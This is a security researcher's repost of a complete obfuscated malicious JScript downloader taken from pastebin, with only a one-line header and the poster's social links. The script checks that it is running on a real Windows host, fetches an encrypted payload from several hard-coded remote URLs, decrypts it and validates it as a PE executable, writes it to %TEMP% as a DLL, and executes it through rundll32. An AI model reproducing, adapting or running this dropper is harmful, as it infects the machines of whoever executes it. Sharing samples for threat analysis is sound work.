malicious javascript

Malicious Javascript
*****
extracted from here http://pastebin.com/KLeyZmqK
*****
function d(){
    var _wds = "W"+"S"+"cr"+"ipt";
    var _c = "\%S"+"yst"+"emRoot\%\\system32\\cmd."+"ex"+"e";
    var _zds = this[_wds]["C"+"reateObject"](_wds+".Shell");
    var se = _zds["E"+"n"+"vi"+"ronmen"+"t"]("S"+"Y"+"S"+"TEM");
    var _dd = se("Co"+"mSpe"+"c");
    if (_dd == _c) {return 1;}
	else {WScript["Q"+"uit"](1);};
}
d();

var TCe = "n" + "";
var Gm = "joi" + "";
var WRt = "e" + "";
var IEi = "od" + "";
var YHo = "harC" + "";
var Wg = "fromC" + "";
var Zl9 = "th" + "";
var Su = "leng" + "";
var Or3 = "se" + "";
var Ji5 = "clo" + "";
var GBf5 = "oFile" + "";
var Ze = "SaveT" + "";
var ZFa = "xt" + "";
var HBb = "Te" + "";
var Wp8 = "ite" + "";
var QSa4 = "wr" + "";
var Ly = "open" + "";
var PQi3 = "et" + "";
var Ws = "Chars" + "";
var Mr4 = "type" + "";
var Xr = "m" + "";
var On0 = "ea" + "";
var Sz3 = "Str" + "";
var Rf = "DB." + "";
var ZVg7 = "O" + "";
var DMp = "D" + "";
var HNc9 = "A" + "";
var To = "ct" + "";
var Ot3 = "eObje" + "";
var Ut = "Creat" + "";
var Az9 = "h" + "";
var TLv3 = "pus" + "";
var NSy = "At" + "";
var BEs = "de" + "";
var Hx = "rCo" + "";
var Hg0 = "cha" + "";
var Tz = "gth" + "";
var Vv = "len" + "";
var TJm = "e" + "";
var Wg3 = "clos" + "";
var Ta = "xt" + "";
var CWl4 = "Te" + "";
var LRd7 = "Read" + "";
var NOs = "le" + "";
var OBc = "omFi" + "";
var JSp7 = "adFr" + "";
var Cx6 = "Lo" + "";
var Cl4 = "open" + "";
var PIj = "et" + "";
var AXm1 = "ars" + "";
var YOe = "Ch" + "";
var Ww5 = "type" + "";
var Jy = "m" + "";
var SHa = "trea" + "";
var Cl8 = "DB.S" + "";
var HNb = "O" + "";
var CZx = "D" + "";
var LRu = "A" + "";
var Pv1 = "ect" + "";
var SMg = "eObj" + "";
var Fx = "Creat" + "";
var Jo2 = "h" + "";
var FWh = "lengt" + "";
var Hs = "h" + "";
var Cv7 = "lengt" + "";
var Vy = "ce" + "";
var Ov = "spli" + "";
var Xk7 = "th" + "";
var QKp = "leng" + "";
var Tl3 = "th" + "";
var Gf = "leng" + "";
var APo0 = "h" + "";
var UEs = "ngt" + "";
var HOc = "le" + "";
var BOr3 = "th" + "";
var Pw = "leng" + "";
var Vp2 = "h" + "";
var QSn = "lengt" + "";
var Sx = "p" + "";
var LTg6 = "Slee" + "";
var NKk = "323" + "";
var St1 = "rty " + "";
var Sw = ",qwe" + "";
var PZm = " " + "";
var BJh7 = "n" + "";
var XVu = "Ru" + "";
var UKo7 = "h" + "";
var Vm = "ngt" + "";
var PNv3 = "le" + "";
var Mq = "ngth" + "";
var Mk2 = "le" + "";
var Ar5 = "ose" + "";
var ZTh6 = "cl" + "";
var PGi5 = "ile" + "";
var EPt8 = "eToF" + "";
var HHs = "Sav" + "";
var NSp3 = "tion" + "";
var As6 = "posi" + "";
var Yz0 = "dy" + "";
var YWz = "nseBo" + "";
var Uc = "po" + "";
var Cx = "Res" + "";
var Jh = "te" + "";
var Uj = "wri" + "";
var Nr9 = "type" + "";
var IHh = "open" + "";
var WXz = "eam" + "";
var Wq = ".Str" + "";
var OUy = "DB" + "";
var OJs9 = "O" + "";
var Vf = "D" + "";
var BVa0 = "A" + "";
var Rb2 = "t" + "";
var Fq0 = "bjec" + "";
var Qv = "eO" + "";
var VSo5 = "eat" + "";
var QWh5 = "Cr" + "";
var Lc = "eep" + "";
var Wz = "Sl" + "";
var Yj = "send" + "";
var Ea0 = "th" + "";
var Ip = "leng" + "";
var PYg = "GET" + "";
var ECj5 = "en" + "";
var Bs5 = "op" + "";
var MLx = "th" + "";
var BIk = "leng" + "";
var Nb8 = "Quit" + "";
var Bs = "pt" + "";
var XYu = "WScri" + "";
var IDd2 = "sts" + "";
var VWu = "Exi" + "";
var Gv7 = "File" + "";
var Ma7 = "t" + "";
var QPl = ".tx" + "";
var SJl = "s" + "";
var UTy3 = "xist" + "";
var ESf0 = "leE" + "";
var Tp = "Fi" + "";
var WZg = "ct" + "";
var LVk = "je" + "";
var Nr = "mOb" + "";
var Gd = "te" + "";
var BNv1 = "Sys" + "";
var Dj0 = "le" + "";
var Ym = "ng.Fi" + "";
var PTq = "pti" + "";
var Kp9 = "Scri" + "";
var Go7 = "ject" + "";
var Dx = "eOb" + "";
var Dv = "eat" + "";
var Jn = "Cr" + "";
var RVm = "h" + "";
var Yx4 = "lengt" + "";
var FXl8 = ".1" + "";
var Vn = ".5" + "";
var Pi0 = "uest" + "";
var IPm = "Req" + "";
var Ki = "Http" + "";
var AYg = "in" + "";
var GTp = ".W" + "";
var RXm8 = "ttp" + "";
var SXn = "WinH" + "";
var Lx2 = "P" + "";
var Ny6 = "TT" + "";
var ZHe = "XMLH" + "";
var QFj0 = "ML2." + "";
var Jz = "MSX" + "";
var Jd = "r" + "";
var Ua = "floo" + "";
var Op0 = "%SystemRoot%\\system32\\rundll32.exe" + "";
var XEo1 = "%SystemRoot%\\SysWOW64\\rundll32.exe" + "";
var Za = "amd64" + "";
var Fb8 = "URE" + "";
var Kk2 = "TECT" + "";
var GXj = "HI" + "";
var Ey7 = "RC" + "";
var CMz6 = "OR_A" + "";
var PWd = "SS" + "";
var Mm8 = "PROCE" + "";
var TYr1 = "stem" + "";
var Cl1 = "Sy" + "";
var MPi9 = "ll" + "";
var FXo = ".d" + "";
var ABx = "BK" + "";
var DQo = "rr" + "";
var BFi = "jX" + "";
var HNn0 = "uO" + "";
var Yu0 = "mqa" + "";
var FHs = "W41" + "";
var XAd = "MP%/" + "";
var Hs7 = "%TE" + "";
var Av4 = "ll" + "";
var HYr = ".She" + "";
var Ru4 = "cript" + "";
var Jr9 = "WS" + "";
var AId5 = "ct" + "";
var DQe = "bje" + "";
var Ao4 = "ateO" + "";
var OMi0 = "Cre" + "";
var XGx = "cb" + "";
var Xz = "8a" + "";
var Su1 = "/0b" + "";
var HDm = "d.ws" + "";
var DFe5 = "orl" + "";
var ZPg = "tw" + "";
var Yu8 = "ho" + "";
var Je1 = "ng" + "";
var Vg = "ki" + "";
var LJz3 = "oo" + "";
var Li5 = "//b" + "";
var Ya = ":" + "";
var Wq6 = "http" + "";
var Ci5 = "63j" + "";
var Vm0 = "2" + "";
var ZZq9 = "et/y" + "";
var Cc5 = ".n" + "";
var BYt = "n" + "";
var Ui4 = "oti" + "";
var ALt = "rr" + "";
var Zn4 = ".a" + "";
var Vc9 = "ww" + "";
var Qc7 = "//w" + "";
var DSl = ":" + "";
var Nu0 = "tp" + "";
var HGm1 = "ht" + "";
var Sk6 = "7h" + "";
var HNu = "zvs" + "";
var St0 = "e/" + "";
var Qn = "d" + "";
var LDc = "e." + "";
var Ag = "in" + "";
var EDt = "nl" + "";
var Gq8 = "-o" + "";
var Cj3 = ".t" + "";
var Po = "age" + "";
var UTt = "ep" + "";
var OZv8 = "om" + "";
var Vg7 = ".h" + "";
var Tu6 = "e" + "";
var Jp = "neck" + "";
var Fs = "ae" + "";
var Jc = "-j" + "";
var Vw = "ven" + "";
var Cl0 = "s" + "";
var ZDn = "//" + "";
var DFu = "p:" + "";
var VBg = "htt" + "";
var Gy9 = "23" + "";
var Ho4 = "21d" + "";
var PRi5 = "vj0" + "";
var Vy4 = "m/" + "";
var Ik = ".co" + "";
var Zn1 = "ri" + "";
var ZKb = "ie" + "";
var Zz = "gl" + "";
var Nu = "ca" + "";
var Af1 = "-s" + "";
var So = "ba" + "";
var Sq6 = "ww.el" + "";
var AYc8 = "w" + "";
var YOv7 = "//" + "";
var Ly5 = "tp:" + "";
var GBr2 = "ht" + "";
var Cn = "7b" + "";
var FOl7 = "s1" + "";
var Sv = "ox" + "";
var ORq = "p" + "";
var Ow9 = "de/" + "";
var JPy = "ne." + "";
var Ke = "nli" + "";
var Fb = "-o" + "";
var Fb9 = "t" + "";
var NZa2 = "ge." + "";
var Pf = "a" + "";
var Rj = "mep" + "";
var MEw1 = "e.ho" + "";
var GYy = "ic" + "";
var Pa = "erv" + "";
var DSx = "s" + "";
var Pg = "ter" + "";
var VKq = "pu" + "";
var Tj4 = "om" + "";
var Cl = "-c" + "";
var Hb = "go" + "";
var VSv = "ja" + "";
var Gd5 = "://" + "";
var XQb1 = "tp" + "";
var MMo = "ht" + "";
var Cs5 = "437" + "";
var Fj = "h" + "";
var SCv6 = "ngt" + "";
var Hu1 = "le" + "";
var SQk2 = "E" + "";
var TAh2 = "EEE" + "";
var Ga6 = "EEEEE" + "";
var YNi3 = "EEEE" + "";
var Sv1 = "EEEE" + "";
var Iy2 = "EEEEE" + "";
var Km1 = "EEE" + "";
var Lu6 = "EE" + "";
var FCp9 = "EEEE" + "";
var Tq6 = "EEEEE" + "";
var Bf9 = "EEEE" + "";
var Ap8 = "fd" + "";
var Yu = "sdfas" + "";
var FEo3 = "asfa" + "";
var HAj = "h" + "";
var GZc = "lengt" + "";
var KBk4 = "EE" + "";
var HJs = "EEEE" + "";
var YRz = "EEEE" + "";
var Vo3 = "EEE" + "";
var HEk4 = "EEEE" + "";
var Pm2 = "EEEE" + "";
var MOk0 = "EEEE" + "";
var Tr7 = "th" + "";
var Io6 = "ng" + "";
var IXj2 = "le" + "";
var Ty = "E" + "";
var Ix = "EEEEE" + "";
var SGz = "EEE" + "";
var Fp = "EE" + "";
var ETi8 = "EEEE" + "";
var HEa6 = "EEEEE" + "";
var ZXv = "EEEE" + "";
var Pp9 = "EE" + "";
var FOt = "EE" + "";
var RCp2 = "EEE" + "";
var Un = "EEE" + "";
var LKr = "EEEE" + "";
var Cg = "EEEEE" + "";
var Tq = "EEEEE" + "";
var Ni0 = "EEEEE" + "";
var NPb = "EE" + "";
var Bq = "32" + "";
var EAt7 = "231" + "";
var CZc7 = "11" + "";
var Hn=(CZc7 + EAt7 + Bq, NPb + Ni0 + Tq + Cg + LKr + Un + RCp2 + FOt + Pp9 + ZXv + HEa6 + ETi8 + Fp + SGz + Ix + Ty);
var Uv=Hn[IXj2 + Io6 + Tr7];
var WBe=(MOk0 + Pm2 + HEk4 + Vo3 + YRz + HJs + KBk4);
var Vu = [5708, 19306, 8690];
var Ww=WBe[IXj2 + Io6 + Tr7];
var MOk3=(FEo3 + Yu + Ap8, Bf9 + Tq6 + FCp9 + Lu6 + Km1 + Iy2 + Sv1 + YNi3 + Ga6 + TAh2 + SQk2);
var Ma6=MOk3[IXj2 + Io6 + Tr7];

var Yz=1;
var Fm=2;
var Nt5=2;
var Xl3="437";

var IGv7=[MMo+XQb1+Gd5 + VSv+Hb+Cl+Tj4+VKq+Pg + DSx+Pa + GYy+MEw1+Rj + Pf+NZa2 + Fb9+Fb+Ke+JPy+Ow9 + ORq+Sv+FOl7 + Cn, MMo+Ly5+YOv7 + AYc8+Sq6+So+Af1+Nu + Zz+ZKb + Zn1+Ik+Vy4+PRi5+Ho4+Gy9, VBg+DFu + ZDn + Cl0+Vw+Jc + Fs+Jp + Tu6+Vg7+OZv8 + UTt+Po+Cj3 + Gq8+EDt+Ag+LDc + Qn+St0+HNu + Sk6, MMo+Ly5+Qc7 + Vc9+Zn4 + ALt+Ui4 + BYt+Cc5+ZZq9 + Vm0+Ci5, Wq6 + Ya+Li5 + LJz3+Vg+Je1 + Yu8+ZPg+DFe5+HDm+Su1+Xz + XGx];
var MBi0=WScript[OMi0 + Ao4 + DQe + AId5](Jr9 + Ru4 + HYr + Av4);
var XWe=MBi0.ExpandEnvironmentStrings(Hs7 + XAd);
var NQf6=XWe + FHs + Yu0 + HNn0 + BFi + DQo + ABx;
var GLq=NQf6 + FXo + MPi9;

var Uw = MBi0.Environment(Cl1 + TYr1);
if (Uw(Mm8 + PWd + CMz6 + Ey7 + GXj + Kk2 + Fb8).toLowerCase() == "amd64")
{
	var UFn4 = MBi0.ExpandEnvironmentStrings(XEo1);
}
else
{
	var UFn4 = MBi0.ExpandEnvironmentStrings(Op0);
}

function random(range, s)
{
	s[1 * 0] = 171 * s[0] % 30269;
	s[1] = (-2696 + 2868) * s[1] % (21124 + 9183);
	s[-4870 + 4872] = 170 * s[2] % 30323;
	var r = (s[0]/(127 * 238 + 43) + s[1]/30307 + s[2]/30323) % 1.0;
	return Math[Ua + Jd](r * range);
}

var SPz0=[Jz + QFj0 + ZHe + Ny6 + Lx2, SXn + RXm8 + GTp + AYg + Ki + IPm + Pi0 + Vn + FXl8];

for (var Lp9=0; Lp9 < SPz0[IXj2 + Io6 + Tr7]; Lp9++)
{
	try
	{
		var MTm6=WScript[OMi0 + Ao4 + DQe + AId5](SPz0[Lp9]);
		break;
	}
	catch (e)
	{
		continue;
	}
};

var OPr3 = "";
var fso = new ActiveXObject(Kp9 + PTq + Ym + Dj0 + BNv1 + Gd + Nr + LVk + WZg);

var ENa6 = Vu.slice();
ENa6[0] = (ENa6[0] + 12345) % 30000;

var ELs=1;
do
{
	if (fso[Tp + ESf0 + UTy3 + SJl](GLq))
	{
		var Em = fso.GetFile(GLq);
		var Nq = Em.ShortPath;
		OPr3 = Nq+QPl + Ma7;
		if (fso[Tp + ESf0 + UTy3 + SJl](OPr3)) {this[XYu + Bs][Nb8](0);}
	}

	var HFw3 = random(IGv7[IXj2 + Io6 + Tr7], ENa6);

	try
	{
		if (1== ELs)
		{
			MTm6[Bs5 + ECj5](PYg, IGv7[HFw3++ % IGv7[IXj2 + Io6 + Tr7]], false);
			MTm6[Yj]();
		}

		if (MTm6.readystate < 4)
		{
			WScript[Wz + Lc](5391 - 5291);
			continue;
		}

		var Nf=WScript[OMi0 + Ao4 + DQe + AId5](BVa0+Vf+OJs9+OUy + Wq + WXz);
		Nf[Bs5 + ECj5]();
		Nf[Nr9]=Yz;
		Nf[Uj + Jh](MTm6[Cx + Uc + YWz + Yz0]);
		Nf[As6 + NSp3]=0;
		Nf[HHs + EPt8 + PGi5](NQf6, Nt5);
		Nf[ZTh6 + Ar5]();

		var CJf2=OMb(NQf6);
		CJf2=HIi(CJf2);
		if (CJf2[IXj2 + Io6 + Tr7] < (9 * 11 + 1) * 1024 || CJf2[IXj2 + Io6 + Tr7] > 230 * 1024 || !XHw6(CJf2))
		{
			ELs=1;
			continue;
		}
		try
		{
			IGi2(GLq, CJf2);
		}
		catch (e) {break;};

		var Em = fso.GetFile(GLq);
		var Nq = Em.ShortPath;

		MBi0[XVu + BJh7](UFn4 + PZm + Nq + Sw + St1 + NKk);
		WScript.Sleep(3000);
	}
	catch (e) {WScript[Wz + Lc](2922 - 1922); continue;};
} while (ELs);

WScript.Quit(0);

function HIi(JEc3)
{
	var AJf /* W  */;
	var TIk = Vu.slice();

	for (var Lp9=0; Lp9 < JEc3[IXj2 + Io6 + Tr7]; Lp9++)
	{
		JEc3[Lp9] ^= random(256, TIk);
	}

	var Zm6=JEc3[JEc3[IXj2 + Io6 + Tr7]-4] | JEc3[JEc3[IXj2 + Io6 + Tr7]-3] << 8 | JEc3[JEc3[IXj2 + Io6 + Tr7]-2] << 16 | JEc3[JEc3[IXj2 + Io6 + Tr7]-1] << 24;
	JEc3[Ov + Vy](CJf2[IXj2 + Io6 + Tr7]-4, 4);

	AJf=Uv;
	for (var Lp9=0; Lp9 < JEc3[IXj2 + Io6 + Tr7]; Lp9++)
	{
		AJf=(AJf /* W  */ + JEc3[Lp9]) % 0x100000000;
	};
	if (AJf /* W  */ != Zm6) {return [];};

	return JEc3;
};


function XHw6(JEc3)
{
	if (JEc3[0]== 0x4D && JEc3[1]== 0x5a)
		{return true;}
	else
		{return false;}
};


function OMb(Lj4 /* W  */)
{
    var QAl8=WScript[OMi0 + Ao4 + DQe + AId5](BVa0+Vf+OJs9+OUy + Wq + WXz);
    QAl8[Nr9]=Fm;
    QAl8[YOe + AXm1 + PIj]=Xl3;
    QAl8[Bs5 + ECj5]();
    QAl8[Cx6 + JSp7 + OBc + NOs](Lj4 /* W  */);
    var DAb4=QAl8[LRd7 + CWl4 + Ta];
    QAl8[ZTh6 + Ar5]();
    return St(DAb4 /* W  */);
};


function St(IBx3)
{
var Vi5=new Array();

Vi5[199]=6909 - 6781;
Vi5[252]=129;
Vi5[233]=130;
Vi5[226]=131;
Vi5[228]=132;
Vi5[224]=133;
Vi5[229]=134;
Vi5[231]=135;
Vi5[234]=136;
Vi5[2297 - 2062]=137;
Vi5[232]=138;
Vi5[239]=139;
Vi5[238]=140;
Vi5[77 * 3 + 5]=141;
Vi5[2487 - 2291]=142;
Vi5[197]=143;
Vi5[201]=144;
Vi5[230]=145;
Vi5[198]=146;
Vi5[244]=147;
Vi5[246]=148;
Vi5[242]=149;
Vi5[251]=150;
Vi5[-6227 + 6476]=10053 - 9902;
Vi5[255]=17 * 8 + 16;
Vi5[214]=153;
Vi5[-7844 + 8064]=154;
Vi5[6 * 27]=155;
Vi5[34 * 4 + 27]=156;
Vi5[165]=2106 - 1949;
Vi5[8320 + 39]=158;
Vi5[402]=35 * 4 + 19;
Vi5[4685 - 4460]=160;
Vi5[237]=42 * 3 + 35;
Vi5[243]=162;
Vi5[56 * 4 + 26]=69 * 2 + 25;
Vi5[42 * 5 + 31]=28 * 5 + 24;
Vi5[209]=165;
Vi5[170]=2 * 83;
Vi5[186]=12 * 13 + 11;
Vi5[191]=168;
Vi5[1820 + 7156]=169;
Vi5[172]=170;
Vi5[189]=171;
Vi5[188]=-4296 + 4468;
Vi5[161]=173;
Vi5[278 - 107]=2922 - 2748;
Vi5[187]=175;
Vi5[9617]=8046 - 7870;
Vi5[7254 + 2364]=177;
Vi5[9619]=178;
Vi5[9474]=179;
Vi5[3485 * 2 + 2538]=2213 - 2033;
Vi5[9569]=38 * 4 + 29;
Vi5[9570]=182;
Vi5[5257 + 4301]=183;
Vi5[9557]=526 - 342;
Vi5[12014 - 2443]=185;
Vi5[9553]=186;
Vi5[9559]=65 * 2 + 57;
Vi5[18523 - 8958]=188;
Vi5[14656 - 5092]=1751 - 1562;
Vi5[9563]=-6810 + 7000;
Vi5[9488]=93 * 2 + 5;
Vi5[9492]=70 * 2 + 52;
Vi5[9524]=193;
Vi5[9516]=-2747 + 2941;
Vi5[9500]=195;
Vi5[9472]=5833 - 5637;
Vi5[9532]=9256 - 9059;
Vi5[9566]=198;
Vi5[9567]=199;
Vi5[9562]=-4520 + 4720;
Vi5[9556]=201;
Vi5[9577]=202;
Vi5[9574]=203;
Vi5[10646 - 1078]=204;
Vi5[9552]=96 * 2 + 13;
Vi5[1413 * 6 + 1102]=206;
Vi5[9575]=207;
Vi5[9576]=208;
Vi5[9572]=209;
Vi5[9573]=210;
Vi5[9561]=211;
Vi5[9560]=212;
Vi5[9554]=74 * 2 + 65;
Vi5[9555]=214;
Vi5[9579]=6492 - 6277;
Vi5[9578]=-6972 + 7188;
Vi5[9496]=217;
Vi5[9484]=218;
Vi5[3997 + 5611]=219;
Vi5[9604]=220;
Vi5[9612]=221;
Vi5[7279 + 2337]=4701 - 4479;
Vi5[9600]=93 * 2 + 37;
Vi5[945]=224;
Vi5[8891 - 8668]=225;
Vi5[9356 - 8441]=226;
Vi5[442 * 2 + 76]=227;
Vi5[931]=675 - 447;
Vi5[5092 - 4129]=229;
Vi5[38 * 4 + 29]=230;
Vi5[964]=-8470 + 8701;
Vi5[934]=5981 - 5749;
Vi5[349 * 2 + 222]=-8469 + 8702;
Vi5[937]=234;
Vi5[948]=4602 - 4367;
Vi5[333 * 26 + 76]=9814 - 9578;
Vi5[4939 - 3973]=237;
Vi5[949]=238;
Vi5[8745]=239;
Vi5[871 * 10 + 91]=4707 - 4467;
Vi5[177]=241;
Vi5[8805]=6713 - 6471;
Vi5[1553 * 5 + 1039]=243;
Vi5[16915 - 7923]=244;
Vi5[18544 - 9551]=245;
Vi5[247]=8299 - 8053;
Vi5[8776]=-460 + 707;
Vi5[176]=248;
Vi5[8729]=249;
Vi5[183]=-9552 + 9802;
Vi5[8730]=251;
Vi5[8319]=252;
Vi5[178]=25 * 10 + 3;
Vi5[3546 + 6086]=254;
Vi5[160]=255;

	var CJf2=new Array();
	for (var Lp9=6642 - 6642; Lp9 < IBx3[IXj2 + Io6 + Tr7]; Lp9++)
	{
		var El=IBx3[Hg0 + Hx + BEs + NSy](Lp9);
		if (El < 128)
			{var IDz0=El;}
		else
			{var IDz0=Vi5[El];}
		CJf2[TLv3 + Az9](IDz0 /* W  */);
	};

	return CJf2;
};

function IGi2(Lj4 /* W  */, JEc3)
{
    var QAl8=WScript[OMi0 + Ao4 + DQe + AId5](BVa0+Vf+OJs9+OUy + Wq + WXz);
    QAl8[Nr9]=Fm;
    QAl8[YOe + AXm1 + PIj]=Xl3;
    QAl8[Bs5 + ECj5]();
    QAl8[QSa4 + Wp8 + HBb + ZFa](Kx1(JEc3));
    QAl8[HHs + EPt8 + PGi5](Lj4 /* W  */, 2);

    QAl8[ZTh6 + Ar5]();
};

function Kx1(JEc3)
{
    var Io=new Array();

Io[128]=-247 + 446;
Io[129]=252;
Io[130]=2 * 116 + 1;
Io[131]=226;
Io[132]=228;
Io[133]=-7031 + 7255;
Io[134]=-1331 + 1560;
Io[135]=231;
Io[136]=234;
Io[-9295 + 9432]=235;
Io[138]=232;
Io[139]=239;
Io[140]=238;
Io[141]=236;
Io[142]=196;
Io[143]=197;
Io[144]=201;
Io[145]=230;
Io[146]=198;
Io[147]=244;
Io[25 * 5 + 23]=7803 - 7557;
Io[149]=242;
Io[150]=251;
Io[151]=249;
Io[8432 - 8280]=255;
Io[69 * 2 + 15]=214;
Io[154]=220;
Io[155]=1 * 162;
Io[-3490 + 3646]=163;
Io[157]=165;
Io[158]=3208 * 2 + 1943;
Io[159]=402;
Io[160]=9705 - 9480;
Io[161]=237;
Io[162]=-5079 + 5322;
Io[-4151 + 4314]=115 * 2 + 20;
Io[164]=241;
Io[165]=209;
Io[65 * 2 + 36]=170;
Io[167]=186;
Io[168]=191;
Io[12 * 14 + 1]=8976;
Io[170]=172;
Io[171]=5309 - 5120;
Io[172]=188;
Io[173]=-2562 + 2723;
Io[8354 - 8180]=6038 - 5867;
Io[-2724 + 2899]=187;
Io[176]=9617;
Io[177]=4676 * 2 + 266;
Io[178]=9619;
Io[179]=9474;
Io[180]=9508;
Io[181]=9569;
Io[182]=9570;
Io[183]=8233 + 1325;
Io[184]=9557;
Io[185]=9571;
Io[186]=2556 + 6997;
Io[187]=9559;
Io[188]=5401 + 4164;
Io[-5300 + 5489]=9564;
Io[190]=4157 * 2 + 1249;
Io[191]=15687 - 6199;
Io[192]=9492;
Io[684 - 491]=9524;
Io[-4443 + 4637]=9516;
Io[195]=9500;
Io[196]=9472;
Io[-3660 + 3857]=9532;
Io[198]=9566;
Io[199]=9567;
Io[200]=9562;
Io[201]=9556;
Io[202]=9577;
Io[203]=9574;
Io[204]=1121 * 8 + 600;
Io[205]=9552;
Io[-4810 + 5016]=9580;
Io[4790 - 4583]=9575;
Io[208]=9576;
Io[209]=9572;
Io[210]=9573;
Io[211]=9561;
Io[8449 - 8237]=9560;
Io[213]=9554;
Io[214]=9555;
Io[5752 - 5537]=9579;
Io[216]=16927 - 7349;
Io[217]=3488 + 6008;
Io[3538 - 3320]=14228 - 4744;
Io[219]=9608;
Io[220]=9604;
Io[221]=9612;
Io[222]=5118 + 4498;
Io[223]=9600;
Io[224]=945;
Io[104 * 2 + 17]=2542 - 2319;
Io[5385 - 5159]=915;
Io[91 * 2 + 45]=243 * 3 + 231;
Io[228]=931;
Io[229]=198 * 4 + 171;
Io[3208 - 2978]=181;
Io[104 * 2 + 23]=964;
Io[12 * 19 + 4]=934;
Io[233]=920;
Io[3608 - 3374]=5074 - 4137;
Io[235]=948;
Io[236]=210 * 41 + 124;
Io[237]=966;
Io[238]=949;
Io[239]=8745;
Io[240]=8801;
Io[241]=177;
Io[5941 - 5699]=16800 - 7995;
Io[243]=8804;
Io[244]=8992;
Io[245]=8993;
Io[246]=-1242 + 1489;
Io[247]=8776;
Io[248]=176;
Io[85 * 2 + 79]=3151 + 5578;
Io[250]=183;
Io[251]=8730;
Io[252]=8319;
Io[253]=178;
Io[254]=9632;
Io[-1937 + 2192]=160;

	var IVi2=new Array();
	var Gr="";
	var IDz0 /* W  */; var El;
	for (var Lp9=0; Lp9 < JEc3[IXj2 + Io6 + Tr7]; Lp9++)
	{
		IDz0=JEc3[Lp9];
		if (IDz0 /* W  */ < 128)
			{El=IDz0 /* W  */;}
		else
			{El=Io[IDz0];}
		IVi2.push(String[Wg + YHo + IEi + WRt](El));
	}

	Gr=IVi2[Gm + TCe]("");

	return Gr;
};

******
More FROM @neonprimetime security

http://pastebin.com/u/Neonprimetime
https://www.virustotal.com/en/USER/neonprimetime/
https://twitter.com/neonprimetime
https://www.reddit.com/USER/neonprimetime